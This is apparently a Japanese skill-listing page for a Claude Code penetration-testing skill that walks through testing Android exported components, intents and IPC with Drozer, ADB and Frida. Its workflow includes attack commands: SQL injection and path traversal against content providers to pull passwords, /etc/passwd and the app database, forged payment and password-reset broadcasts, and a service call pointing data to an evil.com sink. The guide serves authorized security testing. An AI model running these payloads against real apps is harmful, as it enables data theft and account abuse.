mcpField
T
testing-android-intents-for-vulnerabilities

testing-android-intents-for-vulnerabilities

github.com/mukul975セキュリティ35.2k153 回インストール8 週間前に更新
リポジトリ

testing-android-intents-for-vulnerabilities について

Android アプリを評価するセキュリティテスター向けのスキルです。エクスポートされたコンポーネント、インテント、IPC のリスクを調べる手順を、Drozer、ADB、Frida などを使って示します。許可を得たテストでのみ使用します。

主な機能

  1. 01エクスポートコンポーネントの列挙
  2. 02アクティビティ、レシーバー、サービスのテスト
  3. 03コンテンツプロバイダーのデータ露出確認
  4. 04PendingIntent 作成の監視
  5. 05インテントインジェクションと IPC リスクの評価

活用シーン

  1. 01コンポーネントの不正な呼び出しの調査
  2. 02レシーバーの機密データ露出テスト
  3. 03コンテンツプロバイダーのクエリ注入確認
  4. 04PendingIntent とサービスバインドのリスク評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-android-intents-for-vulnerabilities

インストール後、Claude Code で/testing-android-intents-for-vulnerabilitiesを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

脆弱性を対象とした Android インテントのテスト

使用するタイミング

次の場合にこのスキルを使用します:

  • Android アプリのエクスポートされたアクティビティ、サービス、レシーバー、コンテンツプロバイダーを評価する場合
  • インテントインジェクションや、許可されていないコンポーネント呼び出しをテストする場合
  • 機密データ漏えいにつながるブロードキャストレシーバーのセキュリティを評価する場合
  • Android アプリケーションを対象に、IPC に重点を置いたペネトレーションテストを実施する場合

明示的な許可なく、本番デバイスでは使用しないでください。

前提条件

  • ADB を使用できるルート化済み Android デバイスまたはエミュレーター
  • 対象デバイスに Drozer エージェントをインストール済み(drozer agent.apk)
  • ホストに Drozer コンソールをインストール済み(pip install drozer)
  • AndroidManifest.xml の解析用に apktool で逆コンパイルした対象 APK
  • 実行時のインテント監視用 Frida

ワークフロー

ステップ 1:エクスポートされたコンポーネントを列挙する
# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported receivers
run app.broadcast.info -a com.target.app

# List content providers
run app.provider.info -a com.target.app
ステップ 2:エクスポートされたアクティビティをテストする
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity

# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# If admin activity opens without auth, report as authorization bypass
ステップ 3:ブロードキャストレシーバーをテストする
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "[email protected]"
ステップ 4:コンテンツプロバイダーをテストする
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app
ステップ 5:Pending Intent の脆弱性をテストする
// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});
ステップ 6:サービスバインディングをテストする
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj

主な概念

用語定義
エクスポートされたコンポーネントデバイス上の他のアプリからアクセスできる Android コンポーネント(アクティビティ/サービス/レシーバー/プロバイダー)
インテント他のコンポーネントにアクションを要求するメッセージングオブジェクト。明示的(ターゲットを指定)または暗黙的(アクションベース)にできます
Pending Intent別のアプリが後で実行するためのインテントをラップしたトークン。変更可能な PendingIntent は受信側が変更できます
コンテンツプロバイダーアプリ間で構造化データを共有するコンポーネント。クエリパラメーターがサニタイズされていない場合、SQL インジェクションの標的となります
ブロードキャストレシーバーシステムまたはアプリのブロードキャストを受信するコンポーネント。エクスポートされたレシーバーは任意のアプリからトリガーできます

ツールとシステム

  • Drozer:IPC テスト用のビルトインモジュールを備えた Android セキュリティ評価フレームワーク
  • ADB:インテントの呼び出し、アクティビティの起動、ブロードキャストの送信を行うコマンドラインツール
  • Frida:インテントの処理と PendingIntent の作成を実行時に監視します
  • apktool:コンポーネントのエクスポート状態を AndroidManifest.xml から解析するための APK 逆コンパイルツール
  • インテントファザー:エクスポートされたコンポーネント間でインテントパラメーターをファジングする自動ツール

よくある落とし穴

  • API 31 で android:exported のデフォルト値が変更されています:API 31 未満ではインテントフィルターを持つコンポーネントのデフォルト値は exported=true ですが、API 31 以降では exported=false です。targetSdkVersion を確認してください。
  • 権限で保護されたコンポーネント:エクスポートされたコンポーネントでも、権限が必要な場合があります。必要な権限がある場合とない場合の両方でテストしてください。
  • 暗黙的インテントと明示的インテント:他のアプリが傍受できるのは暗黙的インテント(アクションベース)のみです。明示的インテント(ターゲットを指定)は安全です。
  • カスタム権限:アプリは、保護レベル(normal、dangerous、signature)が異なるカスタム権限を定義できます。signature レベルの権限を付与できるのは、同じ証明書で署名されたアプリのみです。

コメント